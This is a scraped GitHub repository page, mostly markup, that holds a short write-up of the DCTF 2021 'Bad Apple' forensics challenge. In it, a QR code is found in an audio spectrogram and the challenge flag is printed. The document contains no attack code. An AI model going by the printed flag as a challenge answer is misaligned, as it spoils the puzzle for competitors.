1.75A.75.75 0 01.75 1h4.253c1.227 0 2.317.59 3 1.501A3.744 3.744 0 0111.006 1h4.245a.75.75 0 01.75.75v10.5a.75.75 0 01-.75.75h-4.507a2.25 2.25 0 00-1.591.659l-.622.621a.75.75 0 01-1.06 0l-.622-.621A2.25 2.25 0 005.258 13H.75a.75.75 0 01-.75-.75V1.75zm8.755 3a2.25 2.25 0 012.25-2.25H14.5v9h-3.757c-.71 0-1.4.201-1.992.572l.004-7.322zm-1.504 7.324l.004-5.073-.002-2.253A2.25 2.25 0 005.003 2.5H1.5v9h3.757a3.75 3.75 0 011.994.574z"></path></svg> <span>Wiki</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.467.133a1.75 1.75 0 011.066 0l5.25 1.68A1.75 1.75 0 0115 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.7 1.7 0 01-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 011.217-1.667l5.25-1.68zm.61 1.429a.25.25 0 00-.153 0l-5.25 1.68a.25.25 0 00-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.2.2 0 00.154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.25.25 0 00-.174-.237l-5.25-1.68zM9 10.5a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.75a.75.75 0 10-1.5 0v3a.75.75 0 001.5 0v-3z"></path></svg> <span>Security</span> <include-fragment src="/mrajabinasab/CTF-Writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 1.75a.75.75 0 00-1.5 0v12.5c0 .414.336.75.75.75h14.5a.75.75 0 000-1.5H1.5V1.75zm14.28 2.53a.75.75 0 00-1.06-1.06L10 7.94 7.53 5.47a.75.75 0 00-1.06 0L3.22 8.72a.75.75 0 001.06 1.06L7 7.06l2.47 2.47a.75.75 0 001.06 0l5.25-5.25z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM1.5 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zm13 0a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path></svg> <span>More</span> </div></summary> <div data-view-component="true"> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Wiki Security Insights </details-menu></div></details></div></nav> </div> <div class="clearfix new-discussion-timeline container-xl px-3 px-md-4 px-lg-5"> <div id="repo-content-pjax-container" class="repository-content " > <div> <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="details-reset details-overlay mr-0 mb-0 " id="branch-select-menu"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path fill-rule="evenodd" d="M11.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122V6A2.5 2.5 0 0110 8.5H6a1 1 0 00-1 1v1.128a2.251 2.251 0 11-1.5 0V5.372a2.25 2.25 0 111.5 0v1.836A2.492 2.492 0 016 7h4a1 1 0 001-1v-.628A2.25 2.25 0 019.5 3.25zM4.25 12a.75.75 0 100 1.5.75.75 0 000-1.5zM3.5 3.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0z"></path></svg> <span>main</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" class="d-flex flex-column flex-auto overflow-auto" tabindex=""> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/mrajabinasab/CTF-Writeups/refs" cache-key="v0:1621249080.55423" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="bXJhamFiaW5hc2FiL0NURi1Xcml0ZXVwcw==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" class="d-flex flex-column flex-auto overflow-auto" tabindex="" hidden> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/mrajabinasab/CTF-Writeups/refs" cache-key="v0:1621249080.55423" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="bXJhamFiaW5hc2FiL0NURi1Xcml0ZXVwcw==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-Writeups</span></span></span><span>/</span>DCTF 2021<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-Writeups</span></span></span><span>/</span>DCTF 2021<span>/</span></div> <div class="Box mb-3"> <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-1 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/mrajabinasab/CTF-Writeups/tree-commit/e8b256f6c0fc53b2be9b7c0d17995ce0585585c3/DCTF%202021" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path fill-rule="evenodd" d="M1.643 3.143L.427 1.927A.25.25 0 000 2.104V5.75c0 .138.112.25.25.25h3.646a.25.25 0 00.177-.427L2.715 4.215a6.5 6.5 0 11-1.18 4.458.75.75 0 10-1.493.154 8.001 8.001 0 101.6-5.684zM7.75 4a.75.75 0 01.75.75v2.992l2.028.812a.75.75 0 01-.557 1.392l-2.5-1A.75.75 0 017 8.25v-3.5A.75.75 0 017.75 4z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/mrajabinasab/CTF-Writeups/file-list/main/DCTF%202021"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details"> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block" data-pjax> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>DCTF2021 Writeups.txt</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div></div> </main> </div> </div> <div class="footer container-xl width-full p-responsive" role="contentinfo"> <div class="position-relative d-flex flex-row-reverse flex-lg-row flex-wrap flex-lg-nowrap flex-justify-center flex-lg-justify-between pt-6 pb-2 mt-6 f6 color-fg-muted border-top color-border-muted "> © 2021 GitHub, Inc. Terms Privacy Security Status Docs <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> Contact GitHub Pricing API Training Blog About </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></div> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-text-success d-none m-2"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> </clipboard-copy> </div></template> </body></html>
## Bad AppleSomeone stumbled upon this file in a secure server. What could it mean?file: https://dctf.dragonsec.si/files/230afaac6d3b52b608268829e8aa11d0/Bad_Apple.mp4 ## Solution:I downloaded the file and opened and heard some weird sound in the middle. So extracted audio and analysed in sonic vision and added A spectrogram was used to find a QR code. ![image](https://user-images.githubusercontent.com/78896740/118483703-f82f5a00-b733-11eb-9b1e-d2d4637ca63e.png)![image](https://user-images.githubusercontent.com/78896740/118483934-43e20380-b734-11eb-9114-c45f4a2af5c6.png) converted into black and white and scanned QR code and got the flag. flag:`dctf{sp3tr0gr4msAreCo0l}`
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" integrity="sha512-L06pZD/4Yecj8D8pY5aYfA7oKG6CI8/hlx2K9ZlXOS/j5TnYEjrusaVa9ZIb9O3/tBHmnRFLzaC1ixcafWtaAg==" rel="stylesheet" href="https://github.githubassets.com/assets/light-2f4ea9643ff861e723f03f296396987c.css" /><link crossorigin="anonymous" media="all" integrity="sha512-xcx3R1NmKjgOAE2DsCHYbus068pwqr4i3Xaa1osduISrxqYFi3zIaBLqjzt5FM9VSHqFN7mneFXK73Z9a2QRJg==" rel="stylesheet" href="https://github.githubassets.com/assets/dark-c5cc774753662a380e004d83b021d86e.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" integrity="sha512-xlDV9el7Cjd+KTSbwspx+c8its28uxn++hLZ9pqYYo1zOVcpLPlElTo42iA/8gV3xYfLvgqRZ3dQPxHCu4UaOQ==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-c650d5f5e97b0a377e29349bc2ca71f9.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" integrity="sha512-jkzjbgytRSAyC4EMcrdpez+aJ2CROSpfemvgO2TImxO6XgWWHNG2qSr2htlD1SL78zfuPXb+iXaVTS5jocG0DA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-8e4ce36e0cad4520320b810c72b7697b.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" integrity="sha512-FzS8HhJ7XSHmx/dBll4FYlvu+8eivvb7jnttZy9KM5plsMkgbEghYKJszrFFauqQvv7ezYdbk7v/d8UtdjG9rw==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-1734bc1e127b5d21e6c7f741965e0562.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" integrity="sha512-IpkvxndMpMcO4paMJl83lYTcy18jv2jqG7mHZnTfr9HRV09iMhuQ/HrE+4mQO2nshL7ZLejO1OiVNDQkyVFOCA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-22992fc6774ca4c70ee2968c265f3795.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-4hzfg/znP4UxIOUt/r3SNYEZ6jBPJIS6PH4VC26tE0Nd4xAymMC3KXDaC9YITfG4fhyfxuB1YnDHo1H2iUwsfg==" rel="stylesheet" href="https://github.githubassets.com/assets/frameworks-e21cdf83fce73f853120e52dfebdd235.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-sT0AyFLl78shyaRWRXOw8uwRSnR+7tURIXoJwVYadATkrqeWfze5y/tOu8MS1mbzUKl6pgLjfEdT+U8bwBJHfQ==" rel="stylesheet" href="https://github.githubassets.com/assets/behaviors-b13d00c852e5efcb21c9a4564573b0f2.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-jdtbQr5ZSKZqID/c80i87Ml+YyEhYVd5sF9szeR+Xuvbfhi4yLJbEsSllzk0XRzcbWqD4tDtshhRo5IuJx4Mzw==" rel="stylesheet" href="https://github.githubassets.com/assets/github-8ddb5b42be5948a66a203fdcf348bcec.css" /> <script crossorigin="anonymous" defer="defer" integrity="sha512-/0zs/So9AxtDONKx324yW8s62PoPMx4Epxmk1aJmMgIYIKUkQg4YqlZQ06B4j0tSXQcUB8/zWiIkhLtVEozU/w==" type="application/javascript" src="https://github.githubassets.com/assets/environment-ff4cecfd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-8p4kkx6e3xBq1g3NP0O3/AW/aiTQ+VRxYencIeMD8crx7AEwrOTV+XOL/UE8cw4vEvkoU/zzLEZ9cud0jFfI4w==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-frameworks-f29e2493.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-slE3Aa2Duzwgju0UbTfes+w5slmaEOhXwom+Ev+pPsxxOpeh2CGZqfriJGr6pkhTZX+ffOTTYl3GnSLtp7AkJw==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-vendor-b2513701.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ZDU7IsI6lFo4eeBuqkrh/Htsa12ZYOi44uBhKqG0LyV6XHM502iJjjsIVnmtmNXrrC9oGMf2O5i57Bx4lwGsXw==" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-64353b22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ODZJzCJpaOfusrIka5QVZQcPiO9LBGyrrMYjhhJWSLuCN5WbZ5xiEiiOPOKVu71dqygyRdB2TY7AKPA1J5hqdg==" type="application/javascript" data-module-id="./chunk-unveil.js" data-src="https://github.githubassets.com/assets/chunk-unveil-383649cc.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-emPgUbSwW9ezLCgRnTE7n4fbbfc/MqEEDHmnkmG61dTyjWKHTYKN4wN3OPS7SY0fwmSJ8mB5+gng2nZw4/HsUg==" type="application/javascript" data-module-id="./chunk-animate-on-scroll.js" data-src="https://github.githubassets.com/assets/chunk-animate-on-scroll-7a63e051.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-pWX6rMbTl/ERAhhtbAyXiJzoXFr91jp/mRy2Xk4OpAId3aVFI2X+yI8X3mhbf985F5BRHamuRx20kG62nRtSLQ==" type="application/javascript" data-module-id="./chunk-ref-selector.js" data-src="https://github.githubassets.com/assets/chunk-ref-selector-a565faac.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GKiNgfnSOtC7SUFIvLZMYoteE7iKDONxzaeovKiziJczuW1P4KMU1KhXeoTv4WEN0ufeXC9ejA8HvgYa+xPAAQ==" type="application/javascript" data-module-id="./chunk-filter-input.js" data-src="https://github.githubassets.com/assets/chunk-filter-input-18a88d81.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HRWFwpj3BLrXflQCvPbnuXPFjpnti5TtcqJqUx/b6klMyuskNlUBIo+1UT0KVHFdEW/Y9QKjmXlZxhP6z1j5pg==" type="application/javascript" data-module-id="./chunk-edit.js" data-src="https://github.githubassets.com/assets/chunk-edit-1d1585c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GhqHDMwaAgqUsjVyltYVhaaLYy2G887rPRXXNbsdaI+Xm3dh0fbaHLhZns70EjFAEpXBgCAYFYdnlG1IQFmz1A==" type="application/javascript" data-module-id="./chunk-responsive-underlinenav.js" data-src="https://github.githubassets.com/assets/chunk-responsive-underlinenav-1a1a870c.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-gmw7obKL/JEHWPp6zWFh+ynbXUFOidj1DN2aPiTDwP8Gair0moVuDmA340LD84A29I3ZPak19CEiumG+oIiseg==" type="application/javascript" data-module-id="./chunk-tag-input.js" data-src="https://github.githubassets.com/assets/chunk-tag-input-826c3ba1.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ao9llFIlj54ApuKf2QLboXukbu2h7MHfMmtYHrrsVe1lprKNLiA0usVcRpvruKhfT5STDuWm/GGmyx8ox27hWQ==" type="application/javascript" data-module-id="./chunk-notification-list-focus.js" data-src="https://github.githubassets.com/assets/chunk-notification-list-focus-028f6594.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SPWd3rzrxmU6xW6vy1JPWCd+3uWFWmnd0MVGpmw/TpHWUAdLWDqL8kWyC/sBIZJmda4mTtUO1DHJQzAXRSrC+g==" type="application/javascript" data-module-id="./chunk-cookies.js" data-src="https://github.githubassets.com/assets/chunk-cookies-48f59dde.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MK53GXbb2BPV+ADlEbJbkrvg34WPcAd5RC2nBJhUH1tR/Mjr9xrsf56ptBajfWcIWKRKbqqRtLktgr0wAbB3zw==" type="application/javascript" data-module-id="./chunk-async-export.js" data-src="https://github.githubassets.com/assets/chunk-async-export-30ae7719.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-tw9SApiMkftVBYeb6/VGhEwGNw8tlyBhXc9RVXH4UbCD6u+48uuCMvXf3bxvBdOld0OoYg83SnD2mgJWhdaTiQ==" type="application/javascript" data-module-id="./chunk-premium-runners.js" data-src="https://github.githubassets.com/assets/chunk-premium-runners-b70f5202.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D576CjzS9sbDqFBJdq0Y6+KVMHXkO6mLFO/GRL1NtoE8jgXjAvmdjoZ4nNMWyDwqbtBHspvupORzE9L+YoBLYQ==" type="application/javascript" data-module-id="./chunk-get-repo-element.js" data-src="https://github.githubassets.com/assets/chunk-get-repo-element-0f9efa0a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xhSAO0KtnFAlRqAK+mg8BPj/J334ccvnCmmjmBQBCgZcsoO9teHJSS6oAn3XOWYFsWPU2JehwG7S3OVEbLwdUg==" type="application/javascript" data-module-id="./chunk-color-modes.js" 